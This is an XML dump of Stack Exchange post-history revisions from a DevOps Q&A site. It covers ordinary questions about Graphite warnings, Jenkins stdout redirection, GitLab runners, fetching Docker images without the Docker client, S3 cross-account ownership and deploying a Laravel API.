  <row Id="8519" PostHistoryTypeId="3" PostId="2728" RevisionGUID="531da921-5d92-4201-bfe0-98b3ad429795" CreationDate="2017-11-29T07:40:34.813" UserId="5431" Text="&lt;jenkins&gt;&lt;windows&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8520" PostHistoryTypeId="5" PostId="2460" RevisionGUID="eb02168c-7984-40bc-9ba3-5ee2ea97b3e3" CreationDate="2017-11-29T12:38:23.920" UserId="4289" Comment="Improved formatting and grammar." Text="We installed Graphite on our Linux server, and when we started running it, we saw the following warning from the `graphite-manage` script:&#xD;&#xA;&#xD;&#xA;     graphite-manage syncdb --noinput&#xD;&#xA;&#xD;&#xA;     /usr/lib/python2.7/site-packages/graphite/settings.py:246: UserWarning: &#xD;&#xA;     SECRET_KEY is set to an unsafe default. This should be set in &#xD;&#xA;     local_settings.py for better security&#xD;&#xA;     warn('SECRET_KEY is set to an unsafe default. This should be set in &#xD;&#xA;     local_settings.py for better security')&#xD;&#xA;     Creating tables ...&#xD;&#xA;     Installing custom SQL ...&#xD;&#xA;     Installing indexes ...&#xD;&#xA;     Installed 0 object(s) from 0 fixture(s&#xD;&#xA;&#xD;&#xA;How do you avoid this warning? and what is needed to fix it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8521" PostHistoryTypeId="4" PostId="2460" RevisionGUID="eb02168c-7984-40bc-9ba3-5ee2ea97b3e3" CreationDate="2017-11-29T12:38:23.920" UserId="4289" Comment="Improved formatting and grammar." Text="Graphite-manage and Graphite warning" ContentLicense="CC BY-SA 3.0" />
  <row Id="8522" PostHistoryTypeId="24" PostId="2460" RevisionGUID="eb02168c-7984-40bc-9ba3-5ee2ea97b3e3" CreationDate="2017-11-29T12:38:23.920" Comment="Proposed by 4289 approved by -1 edit id of 549" ContentLicense="CC BY-SA 3.0" />
  <row Id="8523" PostHistoryTypeId="5" PostId="2460" RevisionGUID="a3308f23-8757-42ed-9088-4b1faf083227" CreationDate="2017-11-29T12:38:23.920" UserId="40" Comment="deleted 4 characters in body; edited title" Text="We installed Graphite on our Linux server, and when we started running it, we saw the following warning from the `graphite-manage` script:&#xD;&#xA;&#xD;&#xA;     graphite-manage syncdb --noinput&#xD;&#xA;&#xD;&#xA;     /usr/lib/python2.7/site-packages/graphite/settings.py:246: UserWarning: &#xD;&#xA;     SECRET_KEY is set to an unsafe default. This should be set in &#xD;&#xA;     local_settings.py for better security&#xD;&#xA;     warn('SECRET_KEY is set to an unsafe default. This should be set in &#xD;&#xA;     local_settings.py for better security')&#xD;&#xA;     Creating tables ...&#xD;&#xA;     Installing custom SQL ...&#xD;&#xA;     Installing indexes ...&#xD;&#xA;     Installed 0 object(s) from 0 fixture(s&#xD;&#xA;&#xD;&#xA;How do you avoid this warning? What is needed to fix it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8524" PostHistoryTypeId="4" PostId="2460" RevisionGUID="a3308f23-8757-42ed-9088-4b1faf083227" CreationDate="2017-11-29T12:38:23.920" UserId="40" Comment="deleted 4 characters in body; edited title" Text="How to avoid and fix the warning from Graphite-manage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8525" PostHistoryTypeId="5" PostId="2728" RevisionGUID="fdd30052-6d34-421e-9c63-5d20c39e50df" CreationDate="2017-11-29T16:30:59.747" UserId="210" Comment="deleted 12 characters in body" Text="I'm trying to execute an exec file from a jenkins server, using windows cmd. This is what is run from jenkins Windows batch window:&#xD;&#xA;&#xD;&#xA;`C:\MyApp\MyApp.exe`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When run regularly from command line, the app prints to the console reporting its progress.&#xD;&#xA;&#xD;&#xA;When I run it from jenkins, I get the following exception (MyApp stands for the name of my actual application):&#xD;&#xA;&#xD;&#xA;    08:13:56 Started by user NO&#xD;&#xA;    08:13:56 Building remotely on SFM BSP builder (ComputerName) (projectName) in workspace C:\Jenkins\workspace\MyBuildMachine&#xD;&#xA;    08:13:56 Running Prebuild steps&#xD;&#xA;    08:13:56 [MyBuildMachine] $ cmd /c call C:\Windows\TEMP\jenkins3066529473565168228.bat&#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56 C:\Jenkins\workspace\MyBuildMachine&gt; C:\Users\NO\Desktop\MyApp.exe &#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56 Unhandled Exception: System.IO.IOException: The handle is invalid.&#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56    at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)&#xD;&#xA;    08:13:56    at System.Console.GetBufferInfo(Boolean throwOnNoConsole, Boolean&amp; succeeded)&#xD;&#xA;    08:13:56    at MyApp.App.AppInit(String[] args)&#xD;&#xA;    08:13:56    at MyApp.Program.Main(String[] args)&#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56 C:\Jenkins\workspace\MyBuildMachine&gt;exit 255 &#xD;&#xA;    08:13:56 Build step 'Execute Windows batch command' marked build as failure&#xD;&#xA;    08:13:56 Email was triggered for: Failure - Any&#xD;&#xA;    08:13:56 Sending email for trigger: Failure - Any&#xD;&#xA;    08:13:56 Sending email to: myEmail@email.com&#xD;&#xA;    08:13:58 Finished: FAILURE&#xD;&#xA;&#xD;&#xA;Needless to say, the app didn't do its job.&#xD;&#xA;Trying to understand the problem, I found [here][1] an explanation about stdout redirection, and Jenkins actually does that automatically, which causes this exception. And indeed also when I run it in cmd with stdout redirection, i.e. `C:\&gt; MyApp.exe &gt;&gt; appOut.txt`, it shows the same error.&#xD;&#xA;&#xD;&#xA;I have no access to the source code of the app. I know that it could be solved from inside. My question is: Is there any way to prevent Jenkins from redirecting the stdout to a file, or wrapping the exec somehow such that will allow me to run it? (of course, running it from another exec and just catching the exception won't work. There won't be an exception but also the app won't run).&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/27749674/why-does-adjusting-console-buffer-raise-invalid-handle-exception-when-redirectin&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8527" PostHistoryTypeId="2" PostId="2730" RevisionGUID="36d554c5-2b2b-4108-869e-a354bf695937" CreationDate="2017-11-29T16:45:36.827" UserId="4289" Text="There currently isn't a solution for building on a specific runner in GitLab, but there is an issue open for [Sticky Runners](https://gitlab.com/gitlab-org/gitlab-ce/issues/29447), which hopefully will be out in the next 3-6 months according to the Milestones!&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The work around I've done so far to build a project on a specific runner is to use the [GitLab Runner API](https://docs.gitlab.com/ce/api/runners.html), in a rather hacky way, along the lines of:&#xD;&#xA;&#xD;&#xA; - Get all project runners&#xD;&#xA; - As I know I've deployed the latest runner, that would have the highest runner &quot;number&quot;&#xD;&#xA; - Pause all the other runners associated with the project in question&#xD;&#xA; - Trigger the pipeline to build on the latest runner&#xD;&#xA; - Poll the GitLab API to get the status of the pipeline&#xD;&#xA; - Once that succeeds, resume all other runners!&#xD;&#xA; - If the pipeline fails, remember to resume the paused runners...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8529" PostHistoryTypeId="2" PostId="2731" RevisionGUID="9dfd0ab5-b75f-4d70-b114-401427f10349" CreationDate="2017-11-29T19:23:46.820" UserId="3070" Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/), i.e. I want to download a Docker Image from Docker Hub on a machine which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8530" PostHistoryTypeId="1" PostId="2731" RevisionGUID="9dfd0ab5-b75f-4d70-b114-401427f10349" CreationDate="2017-11-29T19:23:46.820" UserId="3070" Text="Downloading Docker Images from Docker Hub without using Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="8531" PostHistoryTypeId="3" PostId="2731" RevisionGUID="9dfd0ab5-b75f-4d70-b114-401427f10349" CreationDate="2017-11-29T19:23:46.820" UserId="3070" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8532" PostHistoryTypeId="2" PostId="2732" RevisionGUID="e4f095f5-84dc-4ac2-b975-f5c0c7b62c9b" CreationDate="2017-11-29T19:29:11.650" UserId="2805" Text="I am new to DevOps and I am trying to catch the techniques and their names and meanings.&#xD;&#xA;&#xD;&#xA;I looked wikipedia explanations on [Puppet](https://en.m.wikipedia.org/wiki/Puppet_(software)) (a Configuration Management System example) and that of [Docker](https://en.m.wikipedia.org/wiki/Docker_(software)).&#xD;&#xA;&#xD;&#xA;Docker page says it is categorized as a virtualization platform. Docker manages many virtual containers on same Linux machine.&#xD;&#xA;&#xD;&#xA;Is there some similar way as with Puppet and other CMS to tell what configuration is set up on container ad-hoc creation as there is in a CMS or is there anything similar on these two (a CMS and Docker and like)? Could they be used only separately or also together? &#xD;&#xA;&#xD;&#xA;At least there exists a dockerfile to do some kind of similar sounding thing than system description language makes in CMS. That makes me think they perform similar tasks. &#xD;&#xA;&#xD;&#xA;So in short I would like to how to categorize CMS vs Docker. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8533" PostHistoryTypeId="1" PostId="2732" RevisionGUID="e4f095f5-84dc-4ac2-b975-f5c0c7b62c9b" CreationDate="2017-11-29T19:29:11.650" UserId="2805" Text="Docker vs CMS - related or a different thing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8534" PostHistoryTypeId="3" PostId="2732" RevisionGUID="e4f095f5-84dc-4ac2-b975-f5c0c7b62c9b" CreationDate="2017-11-29T19:29:11.650" UserId="2805" Text="&lt;docker&gt;&lt;terminology&gt;&lt;configuration-management&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8535" PostHistoryTypeId="5" PostId="2731" RevisionGUID="c00afacf-a744-430c-8269-aa42a6111653" CreationDate="2017-11-29T19:51:23.817" UserId="3070" Comment="added 28 characters in body" Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/), i.e. I want to download a Docker Image from Docker Hub on a machine in a restricted environment which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8536" PostHistoryTypeId="2" PostId="2733" RevisionGUID="52d0f539-d914-46a5-9baa-f241e70f5fc6" CreationDate="2017-11-29T20:48:45.093" UserId="2368" Text="In addition to the points in this thread; the following would be my recommendation:&#xD;&#xA;&#xD;&#xA; - Get control over Docker PID1 with dumb-init&#xD;&#xA;  - ref: [PID1 and Zombie reaping problem][1]&#xD;&#xA; - Do not run docker in production without a container orchestration system&#xD;&#xA;  - Take your pick from Kubernetes, Mesos, Swarm etc.&#xD;&#xA; - Use [gosu][2] for user control inside a docker image&#xD;&#xA; - Follow the 12 factor app paradigm, if you are running stateful apps in containers, change it up.&#xD;&#xA;  - If you really need to run stateful apps (mysql, zookeeper, elasticsearch) in containers, leverage orchestrator paradigms like [Kubernetes Statefulsets][3]&#xD;&#xA; - Do robust secret / config management with tools like hashicorp vault / consul&#xD;&#xA; - Ship the same container built by the devs to prod through a CI pipeline that takes it through staging, integration-tests thoroughly.&#xD;&#xA; - Create notifications around CVEs and patches, trigger builds on patch-notify&#xD;&#xA; - Have extensive logging to get insight into the running container, you do not want to give the devs SSH access to either the host or the containers&#xD;&#xA;  - recommendation: fluentd&#xD;&#xA; - Have both container and host metrics&#xD;&#xA;  - recommendation: prometheus+node-exporter&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.phusion.nl/2015/01/20/docker-and-the-pid-1-zombie-reaping-problem/&#xD;&#xA;  [2]: https://github.com/tianon/gosu&#xD;&#xA;  [3]: https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8537" PostHistoryTypeId="2" PostId="2734" RevisionGUID="af2033d5-c29e-42b6-8412-ae2bb2159f33" CreationDate="2017-11-29T20:58:53.263" UserId="5446" Text="I have two AWS accounts: A and B (viewable from https://console.aws.amazon.com/organizations). I have given an S3 bucket in account A a policy that allows account B to do everything in that bucket. When I have an EC2 instance on account B upload a file to that bucket, however, account A cannot access it because the owner is account B.&#xD;&#xA;&#xD;&#xA;Is there a way of resolving this without having account B specify an ACL that includes account A for every upload?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8538" PostHistoryTypeId="1" PostId="2734" RevisionGUID="af2033d5-c29e-42b6-8412-ae2bb2159f33" CreationDate="2017-11-29T20:58:53.263" UserId="5446" Text="AWS S3 ACLs across accounts" ContentLicense="CC BY-SA 3.0" />
  <row Id="8539" PostHistoryTypeId="3" PostId="2734" RevisionGUID="af2033d5-c29e-42b6-8412-ae2bb2159f33" CreationDate="2017-11-29T20:58:53.263" UserId="5446" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8540" PostHistoryTypeId="5" PostId="2731" RevisionGUID="ce767b76-7151-475e-8e84-b2dae56532b6" CreationDate="2017-11-29T21:07:06.787" UserId="3070" Comment="added 2225 characters in body" Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/), i.e. I want to download a Docker Image from Docker Hub on a machine in a restricted environment which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;I came across the following ServerFault post:&#xD;&#xA;&#xD;&#xA;- [Downloading docker image for transfer to non-internet-connected machine](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;The [accepted solution](https://serverfault.com/a/718470/264818) uses the `docker save` command, which doesn't help in my situation. But [another solution posted there](https://serverfault.com/a/823571/264818) cites the following StackOverflow post:&#xD;&#xA;&#xD;&#xA;- [Pulling docker images](https://stackoverflow.com/questions/22381442/pulling-docker-images/25072118)&#xD;&#xA;&#xD;&#xA;[One of the solutions there](https://stackoverflow.com/a/25072118/4451345) refers to a command-line tool called [docker-registry-debug](https://github.com/samalba/docker-registry-debug) which, among other things, can generate a `curl` command for downloading an image. Here is what I got:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: none --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ docker-registry-debug curlme docker ubuntu&#xD;&#xA;&#xD;&#xA;    # Reading user/passwd from env var &quot;USER_CREDS&quot;&#xD;&#xA;    # No password provided, disabling auth&#xD;&#xA;    # Getting token from https://index.docker.io&#xD;&#xA;    # Got registry endpoint from the server: https://registry-1.docker.io&#xD;&#xA;    # Got token: signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&#xD;&#xA;    curl -i --location-trusted -I -X GET -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    -i --location-trusted -I -X GET \&#xD;&#xA;    -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; &#xD;&#xA;&#xD;&#xA;    https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;    HTTP/1.1 404 NOT FOUND&#xD;&#xA;    Server: gunicorn/18.0&#xD;&#xA;    Date: Wed, 29 Nov 2017 01:00:00 GMT&#xD;&#xA;    Expires: -1&#xD;&#xA;    Content-Type: application/json&#xD;&#xA;    Pragma: no-cache&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;    Content-Length: 29&#xD;&#xA;    X-Docker-Registry-Version: 0.8.15&#xD;&#xA;    X-Docker-Registry-Config: common&#xD;&#xA;    Strict-Transport-Security: max-age=31536000&#xD;&#xA;&#xD;&#xA;So unfortunately it looks like the `curl` command generated does not work." ContentLicense="CC BY-SA 3.0" />
  <row Id="8541" PostHistoryTypeId="2" PostId="2735" RevisionGUID="e6b0e83b-9f0f-4d71-b705-f312563e9e8f" CreationDate="2017-11-29T22:02:10.063" UserId="210" Text="The main difference is that docker images are immutable and using is CMS is mutable. Once a docker image has been created it will work on all servers, while running a CMS could fail due to different environments, e.g. internet down, firewall, package repository unavailable.&#xD;&#xA;&#xD;&#xA;Could a CMS be combined with docker? Yes, to configure docker images using packer for example. Packer is able to run existing CMS code inside docker. Another use case is deploying and configuring docker environment variables using a CMS." ContentLicense="CC BY-SA 3.0" />
  <row Id="8542" PostHistoryTypeId="5" PostId="2731" RevisionGUID="aa48da6d-d1f6-4f20-a75e-78281fda22f9" CreationDate="2017-11-29T22:30:17.240" UserId="3070" Comment="Added references/related-links." Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/), i.e. I want to download a Docker Image from Docker Hub on a machine in a restricted environment which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;I came across the following ServerFault post:&#xD;&#xA;&#xD;&#xA;- [Downloading docker image for transfer to non-internet-connected machine](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;The [accepted solution](https://serverfault.com/a/718470/264818) uses the `docker save` command, which doesn't help in my situation. But [another solution posted there](https://serverfault.com/a/823571/264818) cites the following StackOverflow post:&#xD;&#xA;&#xD;&#xA;- [Pulling docker images](https://stackoverflow.com/questions/22381442/pulling-docker-images/25072118)&#xD;&#xA;&#xD;&#xA;[One of the solutions there](https://stackoverflow.com/a/25072118/4451345) refers to a command-line tool called [docker-registry-debug](https://github.com/samalba/docker-registry-debug) which, among other things, can generate a `curl` command for downloading an image. Here is what I got:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: none --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ docker-registry-debug curlme docker ubuntu&#xD;&#xA;&#xD;&#xA;    # Reading user/passwd from env var &quot;USER_CREDS&quot;&#xD;&#xA;    # No password provided, disabling auth&#xD;&#xA;    # Getting token from https://index.docker.io&#xD;&#xA;    # Got registry endpoint from the server: https://registry-1.docker.io&#xD;&#xA;    # Got token: signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&#xD;&#xA;    curl -i --location-trusted -I -X GET -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    -i --location-trusted -I -X GET \&#xD;&#xA;    -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; &#xD;&#xA;&#xD;&#xA;    https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;    HTTP/1.1 404 NOT FOUND&#xD;&#xA;    Server: gunicorn/18.0&#xD;&#xA;    Date: Wed, 29 Nov 2017 01:00:00 GMT&#xD;&#xA;    Expires: -1&#xD;&#xA;    Content-Type: application/json&#xD;&#xA;    Pragma: no-cache&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;    Content-Length: 29&#xD;&#xA;    X-Docker-Registry-Version: 0.8.15&#xD;&#xA;    X-Docker-Registry-Config: common&#xD;&#xA;    Strict-Transport-Security: max-age=31536000&#xD;&#xA;&#xD;&#xA;So unfortunately it looks like the `curl` command generated does not work.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Related Links:&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Docker Hub API retrieve images**](https://forums.docker.com/t/docker-hub-api-retrieve-images/23046)&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Manual download of Docker Hub images**](https://forums.docker.com/t/manual-download-of-docker-hub-images/26073)&#xD;&#xA;&#xD;&#xA;- [Docker Issue #1016: **Fetch docker images without docker command. e.g. with wget**](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;- [ServerFault: **Downloading docker image for transfer to non-internet-connected machine**](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Downloading docker image for transfer to non-internet-connected machine**](https://stackoverflow.com/questions/22381442/pulling-docker-images/)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **How to download docker images without using pull command?**](https://stackoverflow.com/questions/37905763/how-to-download-docker-images-without-using-pull-command)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Is there a way to download docker hub images without “docker pull” for a machine with out Internet access?**](https://stackoverflow.com/questions/40402513/is-there-a-way-to-download-docker-hub-images-whitout-docker-pull-for-a-machine)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8543" PostHistoryTypeId="2" PostId="2736" RevisionGUID="3046ab35-409a-4557-a28d-d71985a5b5cf" CreationDate="2017-11-29T23:05:21.867" UserId="405" Text="No.  The account that uploads an object into a bucket owns the object.  All the bucket owner account can do, unless granted permission by the object owner account, is delete the object." ContentLicense="CC BY-SA 3.0" />
  <row Id="8545" PostHistoryTypeId="2" PostId="2737" RevisionGUID="ea4933dc-31ce-4617-bde3-3cb5581ca80a" CreationDate="2017-11-30T02:37:03.607" UserId="5454" Text="**Background:**&#xD;&#xA;  I am developing a Web application for Employee Management. I use `Laravel` for building a RESTful API, and (maybe) `ReactJS` for the frontend.&#xD;&#xA;&#xD;&#xA;**My problem:**&#xD;&#xA;  I am confused on how to deploy my application. My current plan is to use the command `Laravel artisan serve` for the RESTful API, and use `Nginx` for serving HTML files. But is `Laravel artisan serve` possible for production? How to serve RESTful API?&#xD;&#xA;&#xD;&#xA;**Some other thoughts:**&#xD;&#xA;  As far as I know about `Node.js` applications. We can use `ExpressJS` for building a RESTful API, then `pm2 start app.js` for production. But `Node.js` is good at serving dynamic contents. If I build the RESTful API with `Laravel` or `Spring Boot`, or `Ruby on Rails` (`Sinatra`), I don't think a command like `pm2 start app.php (app.java or app.rb)` will work (here `pm2` is only for convenience, I know it is only for a Node.js app) because `PHP`, `Java` or `Ruby` is quite different from `Node.js`. I am afraid I am missing something fundemantl here. Please help, thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="8546" PostHistoryTypeId="1" PostId="2737" RevisionGUID="ea4933dc-31ce-4617-bde3-3cb5581ca80a" CreationDate="2017-11-30T02:37:03.607" UserId="5454" Text="How to serve RESTful APIs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8547" PostHistoryTypeId="3" PostId="2737" RevisionGUID="ea4933dc-31ce-4617-bde3-3cb5581ca80a" CreationDate="2017-11-30T02:37:03.607" UserId="5454" Text="&lt;deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8548" PostHistoryTypeId="5" PostId="2737" RevisionGUID="3d63522b-367b-466b-9423-e286ca21fc96" CreationDate="2017-11-30T03:25:53.747" UserId="47" Comment="fixed typo" Text="**Background:**&#xD;&#xA;  I am developing a Web application for Employee Management. I use `Laravel` for building a RESTful API, and (maybe) `ReactJS` for the frontend.&#xD;&#xA;&#xD;&#xA;**My problem:**&#xD;&#xA;  I am confused on how to deploy my application. My current plan is to use the command `Laravel artisan serve` for the RESTful API, and use `Nginx` for serving HTML files. But is `Laravel artisan serve` possible for production? How to serve RESTful API?&#xD;&#xA;&#xD;&#xA;**Some other thoughts:**&#xD;&#xA;  As far as I know about `Node.js` applications. We can use `ExpressJS` for building a RESTful API, then `pm2 start app.js` for production. But `Node.js` is good at serving dynamic contents. If I build the RESTful API with `Laravel` or `Spring Boot`, or `Ruby on Rails` (`Sinatra`), I don't think a command like `pm2 start app.php (app.java or app.rb)` will work (here `pm2` is only for convenience, I know it is only for a Node.js app) because `PHP`, `Java` or `Ruby` is quite different from `Node.js`. I am afraid I am missing something fundamental here. Please help, thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="8549" PostHistoryTypeId="5" PostId="2731" RevisionGUID="0a66948f-fdef-4bc5-b88b-959d5edbff86" CreationDate="2017-11-30T04:36:03.223" UserId="3070" Comment="added 14 characters in body" Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/). More specifically, I want to download a Docker Image from Docker Hub on a machine in a restricted environment which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;I came across the following ServerFault post:&#xD;&#xA;&#xD;&#xA;- [Downloading docker image for transfer to non-internet-connected machine](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;The [accepted solution](https://serverfault.com/a/718470/264818) uses the `docker save` command, which doesn't help in my situation. But [another solution posted there](https://serverfault.com/a/823571/264818) cites the following StackOverflow post:&#xD;&#xA;&#xD;&#xA;- [Pulling docker images](https://stackoverflow.com/questions/22381442/pulling-docker-images/25072118)&#xD;&#xA;&#xD;&#xA;[One of the solutions there](https://stackoverflow.com/a/25072118/4451345) refers to a command-line tool called [docker-registry-debug](https://github.com/samalba/docker-registry-debug) which, among other things, can generate a `curl` command for downloading an image. Here is what I got:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: none --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ docker-registry-debug curlme docker ubuntu&#xD;&#xA;&#xD;&#xA;    # Reading user/passwd from env var &quot;USER_CREDS&quot;&#xD;&#xA;    # No password provided, disabling auth&#xD;&#xA;    # Getting token from https://index.docker.io&#xD;&#xA;    # Got registry endpoint from the server: https://registry-1.docker.io&#xD;&#xA;    # Got token: signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&#xD;&#xA;    curl -i --location-trusted -I -X GET -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    -i --location-trusted -I -X GET \&#xD;&#xA;    -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; &#xD;&#xA;&#xD;&#xA;    https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;    HTTP/1.1 404 NOT FOUND&#xD;&#xA;    Server: gunicorn/18.0&#xD;&#xA;    Date: Wed, 29 Nov 2017 01:00:00 GMT&#xD;&#xA;    Expires: -1&#xD;&#xA;    Content-Type: application/json&#xD;&#xA;    Pragma: no-cache&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;    Content-Length: 29&#xD;&#xA;    X-Docker-Registry-Version: 0.8.15&#xD;&#xA;    X-Docker-Registry-Config: common&#xD;&#xA;    Strict-Transport-Security: max-age=31536000&#xD;&#xA;&#xD;&#xA;So unfortunately it looks like the `curl` command generated does not work.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Related Links:&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Docker Hub API retrieve images**](https://forums.docker.com/t/docker-hub-api-retrieve-images/23046)&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Manual download of Docker Hub images**](https://forums.docker.com/t/manual-download-of-docker-hub-images/26073)&#xD;&#xA;&#xD;&#xA;- [Docker Issue #1016: **Fetch docker images without docker command. e.g. with wget**](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;- [ServerFault: **Downloading docker image for transfer to non-internet-connected machine**](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Downloading docker image for transfer to non-internet-connected machine**](https://stackoverflow.com/questions/22381442/pulling-docker-images/)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **How to download docker images without using pull command?**](https://stackoverflow.com/questions/37905763/how-to-download-docker-images-without-using-pull-command)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Is there a way to download docker hub images without “docker pull” for a machine with out Internet 